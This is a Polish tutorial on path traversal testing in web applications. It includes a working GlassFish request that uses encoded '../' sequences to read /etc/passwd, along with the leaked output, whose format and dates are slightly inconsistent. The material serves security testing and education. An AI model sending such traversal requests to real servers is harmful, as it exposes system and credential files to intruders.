Badanie podatności typu „path traversal” polega na sprawdzeniu, czy aplikacja internetowa pozwala na nieautoryzowany dostęp do plików lub katalogów do których dostęp powinien być zabroniony. W przeprowadzeniu tego typu ataku wykorzystuje się parametry przekazywane do aplikacji przedstawiające ścieżki do zasobów na których wykonywane są konkretne operacje, np. odczyt, zapis lub wyświetlenie zawartości katalogu. W konsekwencji może doprowadzić to do ujawnienia nadmiarowych informacji, plików konfiguracyjnych, a nawet do możliwości zdalnego wykonania kodu. Podatność typu „path traversal” może występować w różnych elementach oprogramowania lub jego funkcji. Nie ma miejsca, które można pominąć podczas testowania, niemniej występują funkcjonalności, na które należy zwrócić szczególną uwagę:
- funkcje odpowiedzialne za pobieranie plików z serwera,
- funkcje odpowiedzialne za wczytywanie ustawień aplikacji (szablony, style, język interfejsu),
- funkcje odpowiedzialne za wgrywanie plików na serwer.
Do testowania podatności „path traversal” można wykorzystać HTTP proxy np. Burp Suite Proxy. Za jego pomocą można manipulować parametry reprezentujące ścieżkę poprzez dodawanie odpowiednich ciągów znaków np. „../”, mających na celu „wyskoczenie” z aktualnie przetwarzanego katalogu. Przykład na poniższej grafice:
Innym przykładem podatności typu „path traversal” może być błąd z sierpnia 2015 roku odnaleziony w serwerze aplikacyjnym GlassFish. Wywołanie odpowiedniego żądania, widocznego poniżej umożliwiało odczytanie dowolnego pliku z dysku:
GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af% c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae% c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afpasswd
HTTP/1.1
Host: 127.0.0.1:4848
Accept: */*
Accept-Language: en
Connection: close
W odpowiedzi serwer zwraca zawartość pliku /etc/passwd:
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1
Java/Oracle Corporation/1.7)
Last-Modified: Tue, 13 Jan 2015 10:00:00 GMT
Date: Tue, 10 Jan 2015 10:00:00 GMT
Connection: close
Content-Length: 1087
root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
[...]